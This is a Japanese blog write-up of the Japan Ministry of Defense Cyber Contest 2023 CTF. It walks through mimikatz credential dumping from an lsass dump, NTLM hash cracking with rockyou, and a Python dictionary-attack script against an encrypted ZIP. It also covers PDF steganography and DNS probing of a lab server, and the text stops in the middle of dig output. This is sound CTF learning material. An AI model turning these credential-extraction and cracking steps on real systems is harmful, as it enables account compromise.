プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

防衛省サイバーコンテスト 2023 write-up

防衛省サイバーコンテスト 2023(参加者間では「防衛省CTF」等とも呼ばれていました)へ参加しました。そのwrite-up記事です。

本コンテストは3回目の開催で、今回からコンテスト終了後はwrite-up等の公開が許可されています。なお、前回以前の募集ページも同一URLであり、以前の内容は現時点では閲覧不能のようです。参考として前回以前の募集時のInternet Archiveリンクを貼っておきます:

2023/08/08(火) 22:35頃に、「Analysis」問題、「Ladder」問題の解説と、「全体的な感想」を一部追記しました。

2023/08/29(火) 21:40頃に、アンケートメールが届いたことを追記しました。

2023/10/22(日) 06:30頃に、結果一覧ページで、今回分含め過去3回分すべてで上位5名が掲載されるようになっていたことを追記しました。

コンテスト概要

2023/08/06(日) 09:00 +09:00 - 2023/08/06(日) 21:00 +09:00 の12時間開催でした。他ルールは募集ページから引用します:

(前略)
3 参加資格
 日本国籍を有する個人 (※ 防衛省・自衛隊の職員は、参加できません)
4 コンテストの形式
 オンラインによるクイズ形式のCTF (Capture The Flag) 形式
5 成績の発表
 コンテスト実施後、参加者全員に対し、成績を電子メールにて送付します。
 成績優秀者につきましては、上位5名のハンドルネーム又はお名前を防衛省ウェブサイトに掲示することを予定しています。
6 参加者に準備をいただくもの
 PPTPまたはL2TP/IPsecを用いてVPN接続が可能なネットワーク環境
 Linux又はWindowsが動作するパソコン
 ※スマートフォンでの参加は、推奨しません。
7 参加規約
    参加に当たり同意をいただく事項
        コンテストの実施に係る防衛省及び業務受託会社の指示に従うこと
        コンテストの参加に当たって登録をいただく氏名その他の個人情報を「防衛省サイバーコンテストにおける個人情報の利用目的等」(別添)により利用すること
        成績優秀者の氏名又はハンドルネーム及び成績を、防衛省のウェブサイトに掲載すること
        コンテスト終了後、コンテストに係るアンケートに協力をいただくこと
        コンテスト終了後、採用及び説明会の案内など、防衛省・自衛隊の職員の募集に係る連絡をさせていただくこと
    コンテストにおける禁止事項
        問題の内容及び解法を一般に公開すること(コンテストの開催中)
        第三者(他の参加者を含む。)との間で問題の解法を共有すること
        コンテストの実施を妨げる行為を行うこと
        ※これらの行為を行った参加者は、失格とします。

なお、回答用のサーバーは参加者向けに一般的なURLとして共有され、Pwn問題やWeb問題等に使用するサーバー用としてVPN接続用の.ovpnファイルが提供される形式でした。事前に共有された参加要領の接続手順に、Windows環境ではOpenVPNを使う手順があったため、私はOpenVPNでVPN接続しました。Linux環境ではopenvpnコマンドで接続できたようです。

結果

正の得点を得ている267人中、428点で11位でした:

順位と得点

緑色背景: 解けた問題

得点遷移は以下の結果になりました。後述するように「点数を消費してヒントを得る」機能があり、終盤に多めに使ったことが原因で、合計42点ほど下がっています:

得点の推移

環境

WindowsのWSL2(Ubuntu 22.04)や、VMWare環境のKali Linux、VirtualBox環境のREMnux等を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3271]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2

c:\>

他ソフト

  • IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
  • Wireshark Version 4.0.7 (v4.0.7-0-g0ad1823cc090)
  • FTK Imager 4.7.1.2
  • testdisk 7.2-WIP
  • 青い空を見上げればいつもそこに白い猫 Ver1.09
  • Google Chrome Version 115.0.5790.171 (Official Build) (64-bit)

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show requests | grep Version
Version: 2.25.1
$ python3 -m pip show pwntools | grep Version
Version: 4.10.0
$ python3 -m pip show numpy | grep Version
Version: 1.21.5
$ python3 -m pip show opencv-python | grep Version
Version: 4.5.5.64
$ python3 -m pip show pyjwt | grep Version
Version: 2.3.0
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.15
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$ convert --version
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Copyright: (C) 1999-2021 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP(4.5)
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib
$

Kali Linux

$ cat /proc/version
Linux version 6.3.0-kali1-amd64 (devel@kali.org) (gcc-12 (Debian 12.3.0-4) 12.3.0, GNU ld (GNU Binutils for Debian) 2.40.50.20230611) #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29)
$ msfconsole --version
Framework Version: 6.3.25-dev
$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2023.2"
VERSION="2023.2"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2023.2"
VERSION="2023.2"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
$ john --help | grep 'John the Ripper'
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVX AC]
$ sha256sum /usr/share/wordlists/rockyou.txt
16035fea7742cb0561c513de1d946eda5716d7de294e6c732449740096686173  /usr/share/wordlists/rockyou.txt
$ nmap --version
Nmap version 7.94 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.4.4 openssl-3.0.9 libssh2-1.10.0 libz-1.2.13 libpcre-8.39 libpcap-1.10.4 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select
$  hydra --version 2> /dev/null
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

$

REMnux v7

$ cat /proc/version
Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.4 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
$ peepdf --version
Version: peepdf 0.3 r8

http://peepdf.eternal-todo.com
http://twitter.com/peepdf
peepdf AT eternal-todo.com

Jose Miguel Esparza
http://twitter.com/EternalTodo

$

解けた問題

前述した通り、本コンテストでは「点数を消費してヒントを得る」機能があります。戦略として「最初6~9時間ぐらいはヒント無しで頑張ろう、残りはヒントをとにかく開いてでも点数を取ろう」の考えて実践していました。なお、ヒントは各問題の上から順番にのみ表示できました。「最初の方は攻略できているので最後の方のヒントだけ知りたい」と思っても、下のヒントだけを表示することはできませんでした。

コンテスト終了後しばらくして、すべてのヒントを減点なしに確認できるようになりました。以下の問題文説明では、競技中に私が見たヒントは減点の数値付きで、コンテスト後に確認したヒントは点数不明のため数値無しで記述します。

[WELCOME] Welcome! (266 solved, 10 points)

防衛省 サイバーコンテスト 2023 へようこそ!

この問題は、解答方法を確認するための問題です。 正解することで 10 ポイントが付与され、他の問題のヒントを取得できるようにもなります。

また添付ファイルは、問題用サーバーへの接続に必要な OpenVPN の設定ファイルとなります。 ダウンロード頂いた上、参加要領の手順に従って VPN 接続を行ってください。

フラグ:本コンテスト開催時の問い合わせ先メールアドレスは何でしょう?

解答形式: flag{******@******}

ヒントを表示する
参加要領ドキュメントの 2 ページ目に記載されています。

問い合わせ先メールアドレスは、募集ページや、問題トップページに記載されていました。ただメールアドレスそのものであるため、念のためフラグ掲載は控えます。

[CRYPT] Simple Substitution Cipher (240 solved, 10 points)

以下の暗号文を復号してください。

暗号文: synt{tA0iEFckNRiG}

解答形式:flag{************}

ヒントを表示する
最も簡単な単一換字式暗号として有名なものは何でしょうか。

ヒントを表示する
hURL(https://www.kali.org/tools/hurl/ )コマンドを使用して、復号してみましょう。

ROT13であるように見えました。CyberChefで復号して得られたものを提出すると正解でした: flag{gN0vRSpxAEvT}

[CRYPT] Substitution Cipher (141 solved, 10 points)

暗号文は、以下の対応表(SubstitutionCipher.png)と鍵により暗号化されていますが、鍵の一部(1文字目、4文字目の?)が欠損しています。 暗号文から欠損している鍵を推測し、復号してください。

暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}.
鍵: ?VC?
解答形式:flag{************}

ヒントを表示する
対応表を使用する単一換字式暗号として有名なものは何でしょうか。

ヒントを表示する
英文内における単語の中で、最も使用頻度の多いアルファベットは何でしょうか。

配布ファイルとして、問題文記載の対応表の画像がありました:

SubstitutionCipher.png

さて、対応表には存在しない2、記号類が暗号文中に存在します。それらの文字がどのように扱われるか、鍵の位置は進むのかどうかが、本問題では未定義です。また、大文字小文字の扱いも未定義です。

という文字を含む暗号として、ヴィジュネル暗号があったような」と記憶を呼び起こして、VIGENERE CYPHERやCyberChefを使いました。鍵4文字中2文字が判明しており、暗号文先頭4文字は?hi?と復号できるため、平文先頭がThisとなるよう鍵を手動でポチポチ変えて探索しました。結果、鍵はBVCJであるらしいと分かり、途中まではThis text is encrypted with the Vigen……になるとは分かりました。しかしそこからが化けてしまいました(この時の状況のCyberChef)。

悩んで試行錯誤していると、を適当な記号!で置き換えるとThis text is encrypted with the Vigen!re cipher.the flag is flag{vNP2RtAcsLdP}.と意味が通りそうな文章になりました。そのフラグを提出してみると正解でした: flag{vNP2RtAcsLdP}

未定義の文字を使わないか、表にない文字の変換法則を明記するかしてほしいですね……。

[CRYPT] Administrator Hash(NTLM hash) (98 solved, 20 points)

lsass.zip を展開(パスワード:P@ssw0rd123!)し、Administrator ユーザーの NTLM ハッシュ値を抽出してください。

解答形式:flag{********************************}

ヒントを表示する
lsass.DMP は何のダンプファイルでしょうか。

ヒントを表示する
lsass.DMP からパスワードハッシュ値等を抽出するコマンドは何でしょうか。

ヒントを表示する
pypykatz を使用して、 NTLM ハッシュを抽出して下さい。

配布ファイルのlsass.zipを展開するとlsass.DMPがありました。Local Security Authority Subsystem Serviceのダンプらしく、当該プロセスのメモリ中には認証情報があるはずです。「確かmimikatzでハッシュを取れるはず」とGoogle検索するとAttacks & Defenses: Dumping LSASS W/ No Mimikatz | White Oakが見つかりました。Kali Linux環境にあるmimikatzを、Windows Defenderを無効化したWindows環境へ持っていって実行しました:

C:\Users\WDAGUtilityAccount\Desktop>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump lsass.DMP
Switch to MINIDUMP : 'lsass.DMP'

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.DMP' file for minidump...

Authentication Id : 0 ; 494373 (00000000:00078b25)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN-A9FVQCU510J
Logon Server      : WIN-A9FVQCU510J
Logon Time        : 6/14/2023 2:05:23 PM
SID               : S-1-5-21-475754373-2222522093-564401973-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * NTLM     : 036dac4f519817e0f6ec28d80ab42205
         * SHA1     : 5cca0adce30b6164666d52ac52ee78e75f0bc3d6
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * Password : (null)
        ssp :
        credman :
(後略)

NTLMハッシュが出てきたのフラグ形式で提出すると正解でした: flag{036dac4f519817e0f6ec28d80ab42205}

ただ、CRYPTジャンルというよりはFORENSICSジャンルなどとするほうがよほど適切な問題に思います。

[CRYPT] Administrator Password (84 solved, 20 points)

問題「Administrator Hash(NTLM hash)」で抽出したハッシュ値から、Administrator ユーザーのパスワードを推測してください。

解答形式:flag{***************}

ヒントを表示する
辞書リストとして、rockyou.txt を使用して下さい。

Kali Linux環境のJohn the Ripperでパスワードをクラックしようとしましたが、どうにもうまくいきませんでした:

$ cat > hash.txt
Administrator:036dac4f519817e0f6ec28d80ab42205

$ john hash.txt --wordlist /usr/share/wordlists/rockyou.txt --format=NT
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 52 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-08-07 00:25) 0g/s 354600p/s 354600c/s 18439KC/s !@#$%..sss
Session completed.

$

困ったのでCrackStationに投げてみると、無事破ってくれました:

フラグ形式にして提出すると正解でした: flag{Ilovedoraemon39}

この問題も、CRYPTジャンルというよりはFORENSICSジャンルやMISCジャンルなどとするほうが適切な問題に思います。

[FORENSICS] The Place of The First Secret Meeting (188 solved, 10 points)

会社 A が内部告発を受け、海外の競合会社 B へ機密情報の持ち出しが行われた可能性があると判明しました。 退職予定の従業員が、共有パソコンへの接続が禁止されている USB メモリを用いてデータを抜き出し、USB メモリを引き渡したという内容でした。 そこで従業員を問い詰め、小さな USB ストレージを回収し、そのイメージを保全しました。

USB メモリの中には画像ファイルが入っていました。この画像が取引場所の可能性があります。この画像について、城の名前ではなく大きく写っている建物の名前を特定してください。 建物の名前をヘボン式ローマ字表記したものがフラグです。

あなたはフォレンジックエンジニアとして各フラグを取得してください。添付の仮想ディスクイメージ(USB1.vhd)内にフラグがあります。※このイメージファイルは「The Deleted Confidential File」、「They Cannot Be Too Careful.」、「The Taken Out Secrets」の問題でも使用します。

解答形式:半角英小文字

ヒントを表示する
Google のサービスは強力です。Google マップ、画像検索、Google レンズやストリートビュー・・・

配布ファイルとして、USB1.vhdがありました。FTK Imagerを起動してFile→Add Evidence Item...のダイアログでImage Fileを選択してUSB1.vhdを解析すると、/Pictures/1.jpgに以下の写真がありました:

Google Chromeでファイルを開いて、画像の右クリックメニューからSearch image with Googleをクリックして調べると、国重要文化財・国史跡 高松城の写真らしいと分かりました。一方で問題文ではお城の名前ではなく建物の名前が要求されています。写真右奥に見える「ダイアパレス丸の内」のローマ字表記をとりあえず提出してみましたが違いました。

Google Mapで「ダイアパレス丸の内」周辺を調べると、地図に「高松城 艮櫓」という建物の名前がありました:

その建物の名前の読み方を調べていると、20121223050607224.jpgがヒットしました。その地図ではUshitoraYaguraとの表記だったので、提出してみると正解でした。

OSINTジャンル成分が強めの問題でした。

[FORENSICS] The Deleted Confidential File (156 solved, 20 points)

圧縮アーカイブファイルとして持ち出されたデータは、USB メモリから削除されていた可能性があります。データの復旧を行い、その内容を調査してください。

※問題「The Place of The First Secret Meeting」に添付の USB1.zip ファイル内の仮想ディスクイメージファイルが対象です。

解答形式:flag{***********}

ヒントを表示する
sleuthkit という強力なフォレンジックツールがあります。

FORENSICジャンル1問目の次に取り組むことになる問題です。問題一覧での問題の並び順は点数順ですが、20点の本問題の次に、10点問題の「They Cannot Be Too Careful.」に取り組むことになります。

FTK ImagerでUSB1.vhdを見ていると、/$RECYCLE.BIN/$RTADMMI.ZIPが存在し、そのZIPファイルの中にflag{Archive_file_was_deleted}.txtファイルがありました。そのフラグを本問題に提出してみると正解でした: flag{Archive_file_was_deleted}

[FORENSICS] They Cannot Be Too Careful. (73 solved, 10 points)(ヒント表示で -2 points)

USB メモリから復旧できた圧縮アーカイブファイルには、パスワード保護がかかっていました。このパスワードを特定してください。

※問題「The Deleted Confidential File」で復旧したファイルが対象です。

解答形式:半角英小文字

2 ポイントを消費してヒントを表示する
辞書攻撃は... rockyou で決まり!

問題一覧での問題の並び順は点数順ですが、20点問題の「The Deleted Confidential File」の後に、10点問題の本問題に取り組むことになります。

抽出した暗号化ZIPファイルをクラックするには、zip2johnでハッシュ値を抽出して、John the Ripperでクラックするのが楽です。本問題もKali Linuxを使ってその方法でクラックしようとしたのですが、ハッシュ抽出結果が奇妙なものになりました:

$ file '$RTADMMI.ZIP'
$RTADMMI.ZIP: Zip archive data, at least v2.0 to extract, compression method=store

$ zip2john '$RTADMMI.ZIP' > hash.txt
ver 2.0 $RTADMMI.ZIP/�d�v/ is not encrypted, or stored with non-handled compression type
!? compressed length of AES entry too short.

$ cat hash.txt
$RTADMMI.ZIP/�d�v/flag{Archive_file_was_deleted}.txt:$zip2$*0*3*0*d1fa896dd4317c87e1686d922ee2e96a*884e*0**9eb41e52f9450213e138*$/zip2$:�d�v/flag{Archive_file_was_deleted}.txt:$RTADMMI.ZIP:$RTADMMI.ZIP
$RTADMMI.ZIP/重要/要求提供的文件清单.pdf:$zip2$*0*3*0*b06a7d2007e8080bb9d761c9b5c35ee7*e575*a5a62*e8083ba1f942d17f4459363e050f31(非常に長いので中略)e96c1747c3ae17b6f2180e7aad872bef9f4ec521c7d843e6e05921fd*03d9a762d7b9bbb9001c*$/zip2$:重要/要求提供的文件清单.pdf:$RTADMMI.ZIP:$RTADMMI.ZIP

$ wc hash.txt
      2       2 1357402 hash.txt

TXTファイル側はファイルパスが文字化けしていますし、PDFファイル側はハッシュ値のようなものがとんでもない長さになっています。念のため、FTK ImagerとtestdiskでそれぞれZIPファイルを抽出し直してみましたが、同一の結果が得られました。

コンテスト時間中は、ハッシュ値があまりにも変なのでzip2johnでなにかおかしなことが起こっていると考え、クラック用スクリプトを書くことにしました。問題文で回答形式は半角英小文字との指定はあるのでまずはブルートフォースを試しましたが。全然速度が出ませんでした。困ったのでヒントを表示するとrockyouを使えとのことでした。そのためrockyou.txtの中から英小文字だけから構成されるパスワードで辞書攻撃する方針にしました:

#!/usr/bin/env python3

import pyzipper
import zipfile
import string
import sys
import zlib

def try_extract(f, password):
    try:
        b = f.read('Ådùv/flag{Archive_file_was_deleted}.txt', pwd=password.encode())
        print(password)
        return True
    except RuntimeError as e:
        # print(e)
        return False
    except UnicodeDecodeError as e:
        print(e, password)
        return False
    except zipfile.BadZipFile as e:
        # print(e)
        return False
    except pyzipper.zipfile.BadZipFile as e:
        # print(e, password)
        return False
    except zlib.error as e:     # 「Error -3 while decompressing data: invalid code lengths set」が偶に出る
        # print(e, password)
        return False

# zipfile.ZipFileだと展開しようとしても「That compression method is not supported」エラー
with pyzipper.AESZipFile("$RTADMMI.ZIP", "r") as f:
    print(f.namelist())         # ['Ådùv/', 'Ådùv/flag{Archive_file_was_deleted}.txt', '重要/要求提供的文件清单.pdf']
    with open("rockyou.txt", "r") as rockyou:
        count = 0
        i = -1
        while True:
            i += 1
            try:
                line = rockyou.readline()
            except UnicodeDecodeError: # 「'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte」回避
                continue
            line = line.strip()
            if not all(map(lambda b: ord("a") <= ord(b) <= ord("z"), line)):
                continue
            count += 1
            if count % 1000 == 0:
                print(i, line)
            if try_extract(f, line): sys.exit(0)

実行しました:

$ time ./crack_password_rockyou.py
['Ådùv/', 'Ådùv/flag{Archive_file_was_deleted}.txt', '重要/要求提供的文件清单.pdf']
1170 maxwell
2432 leonel
(中略)
603822 oualid
oshiro
./crack_password_rockyou.py  293.67s user 0.39s system 99% cpu 4:54.28 total
$

実行に5分程かかりましたがパスワードが分かりました。実際、7-Zipを使ってそのパスワードでZIPを展開できました。フラグとして提出すると正解でした: oshiro

なお、本記事執筆中に気づいたことですが、zip2john結果の非常に長い状態のhash.txtでもJohn the Ripperで正しくクラックできました:

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: invalid UTF-8 seen reading hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oshiro           ($RTADMMI.ZIP/重要/要求提供的文件清单.pdf)
oshiro           ($RTADMMI.ZIP/�d�v/flag{Archive_file_was_deleted}.txt)
2g 0:00:00:25 DONE (2023-08-07 01:27) 0.07955g/s 24113p/s 48226c/s 48226C/s pepito25..oaklee
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

$

コンテスト時間中に気付きたかったです!

[FORENSICS] Their Perpetration (72 solved, 20 points)(ヒント表示で -4 points)

直接データを取得したと考えられる端末の保全を行いました。調査対象のアーティファクトを解析し、持ち出しに使用された USB メモリのシリアルナンバーを特定してください。 なお、シリアルナンバー「04018636913bcb4e1152」のデバイスは保全の際に用いたものです。

解答形式:半角英数字

4 ポイントを消費してヒントを表示する
レジストリが無くても evtx で頑張ろう。外部デバイスの接続を示すアーティファクトは・・・?

本問題のみ、他のFORENSICSジャンル問題とは無関係な内容です。配布ファイルとして、NAS用PC.vhdがありました。FTK Imagerで中を調べると、Windows用ディスクのようでした。ただしWindowsフォルダー等はなく、フォレンジックに必要なファイルのみを含んでいるようです。そのため、レジストリの実体ファイル(?)の\Windows\System32\config\以下のファイル等はありません。

\Logs\以下に各種イベントログファイルがあったので、その中から探すんだろうなあと考えました。とりあえずSystem.evtxかなと当たりをつけて、ググって出てきたイベントIDで調べるも、問題文記載のシリアル番号が少しあるだけで他はなさそうでした。

ヒントを表示しましたが、「そうですよねイベントファイルですよね」という感想に落ち着きました(4点は結構もったいない)。改めてイベントログからUSBメモリのシリアル番号を探す方法をGoogle検索すると、USB Forensics – Recover more Volume Serial Numbers (VSNs) with the Windows 10 Partition/Diagnostic Event Log · DFIR Reviewがヒットしました。それによるとC:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtxにあるとのことです。USB1.vhdから抽出したMicrosoft-Windows-Partition%4Diagnostic.evtxをイベントビューアーで開くと、わずか9イベントのみ記録されていました。GeneralタブではFor internal use only.というそっけない表示だけでしたが、Detailsタブに切り替えると様々な項目がありました:

Manufacturer項目がUSBであるイベントについてSerialNumberは2種類存在しており、そのうち問題文で記載されていない側を提出すると正解でした: 0401396c0881735a013c

[FORENSICS] The Taken Out Secrets (21 solved, 30 points)(ヒント表示で -3 points)

パスワードがかかっていた圧縮アーカイブファイルの中には、機密情報リストが書かれている PDF ファイルが入っていました。 この PDF ファイルを解析しフラグを取得してください。

※問題「They Cannot Be Too Careful.」でパスワードを特定したアーカイブファイルが対象です。

解答形式:flag{***********}

3 ポイントを消費してヒントを表示する
フィッシングだけどフィッシングっぽく、ステガノだけどステガノっぽくではない。フラグは3か所に分割されているよ。

「They Cannot Be Too Careful.」問題で展開した中にある重要/要求提供的文件清单.pdfの出番です。PDFファイルを表示すると、龍の画像を背景に、ファイル名らしいものがいくつか並んでいました:

その中にフラグらしい文字列があり、コピーするとflag{pdf__is_でした。フラグは分割されていそうです。

PDFの解析のためにREMnuxを引っ張り出しました。peepdfでPDFを色々調べていると、目に止まったものがありました:

$ peepdf -fli 要求提供的文件清单.pdf
Warning: PyV8 is not installed!!

File: 要求提供的文件清单.pdf
MD5: e462cc5ce4166ee28b8a61d301c670dd
SHA1: af1ca774de10c260b29d728c9dbf3042843c03c1
SHA256: 34e618396532d388ee8d95aa4ca527d291f1d66bed15ba09db41689ed69646cd
Size: 679900 bytes
Version: 1.6
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 13
Streams: 4
URIs: 1
Comments: 0
Errors: 0

Version 0:
    Catalog: 3
    Info: 2
    Objects (13): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
    Streams (4): [9, 10, 11, 12]
        Encoded (4): [9, 10, 11, 12]
    Objects with URIs (1): [13]


PPDF> object 13

<< /H /I
/Border [ 2 2 2 ]
/A << /URI X3BheWxvYWRfX2RlbGl2ZXJ5Xw==
/S /URI >>
/Rect [ 280 670 285 675 ]
/Type /Annots
/Subtype /Link
/P 4 0 R >>

PPDF> quit

Leaving the Peepdf interactive console...Bye! ;)

$ echo 'X3BheWxvYWRfX2RlbGl2ZXJ5Xw==' | base64 -d
_payload__delivery_
$

2つ目のフラグの断片_payload__delivery_が見つかりました。この時点で「3つ目は_format}_framework}では」と想像してフラグを提出してみましたがIncorrectになりました。

その後もpeepdfで色々探したり、PDFのテキストの扱い方を調べたりしましたが、object 10に1つ目の断片の元があったくらいで、肝心の残りの断片は見つかりませんでした。困ったのでヒントを表示すると、「ステガノグラフィーがありそうなら龍の画像の抽出が必要そう」という発想に至りました。

PDFからの画像抽出ツールを探すと、Download Xpdf and XpdfReaderDownload the Xpdf command line tools中にあるpdfimagesが使えました:

C:\Users\WDAGUtilityAccount\Desktop\xpdf-tools-win-4.04\bin64>pdfimages.exe -list forensic_要求提供的文件清单.pdf .
.-0000.ppm: page=1 width=575 height=575 hdpi=97.39 vdpi=97.39 colorspace=DeviceRGB bpc=8

# (ターミナルやファイル名を変えて)

$ file 0000.ppm
0000.ppm: Netpbm image data, size = 575 x 575, rawbits, pixmap
$ convert 0000.ppm 0000_converted.png

生成したPNGファイルを「青い空を見上げればいつもそこに白い猫」でステガノグラフィー解析しました:

「赤色 ビット2 抽出」で、_format!!?}という断片が見つかりました。2つ目発見時の想像もいい線行っていたようです。ともかく、3つの断片を組み合わせて、フラグを入手できました: flag{pdf__is__payload__delivery__format!!?}

なお、本記事執筆中に気付きましたが、PDFファイル表示のスクリーンショット段階でもステガノグラフィー解析は十分できました、コンテスト時間中に気付きたかったです:

[NW] Transfer (72 solved, 10 points)(ヒント表示で -2 points)

「10.10.10.21」のサーバーは「example.com」ドメインの権威 DNS サーバーです。 このサーバー上に機密情報(フラグ)が隠されていますので、特定して回答してください。

解答方式:flag{**********}

1 ポイントを消費してヒントを表示する
DNS プロトコルを駆使して調査してください。

1 ポイントを消費してヒントを表示する
機密情報(フラグ)は DNS のゾーン情報内には含まれていません。

配布ファイルはありません。とりあえず知っている範囲で一番多く情報を取得できるdig @10.10.10.21 example.com -t anyを実行して結果を色々調べたりしたのですが、フラグに結びつく結果はありませんでした。Aレコードの解決結果をnmapで調べたりしましたが、そもそも解決結果のホストは未稼働のようでした。以下、結果的に不要だった問い合わせです:

$ dig @10.10.10.21 example.com -t any

; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.10.21 example.com -t any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49916
;; flags: qr aa rd; QUERY: 1, ANSWER: 12, AUTHORITY: 0, ADDITIONAL: 4
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 1095ded8624da2c40100000064cef44dfa0b01cd6a687373 (good)
;; QUESTION SECTION:
;example.com.                   IN      ANY

;; ANSWER SECTION:
example.com.            86400   IN      SOA     ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400
example.com.            86400   IN      NS      ns.example.com.
example.com.            86400   IN      NS      ns2.example.com.
example.com.            86400   IN      NS      ns3.example.com.
example.com.            300     IN      MX      10 aspmx3.googlemail.com.
example.com.            300     IN      MX      10 aspmx2.googlemail.com.
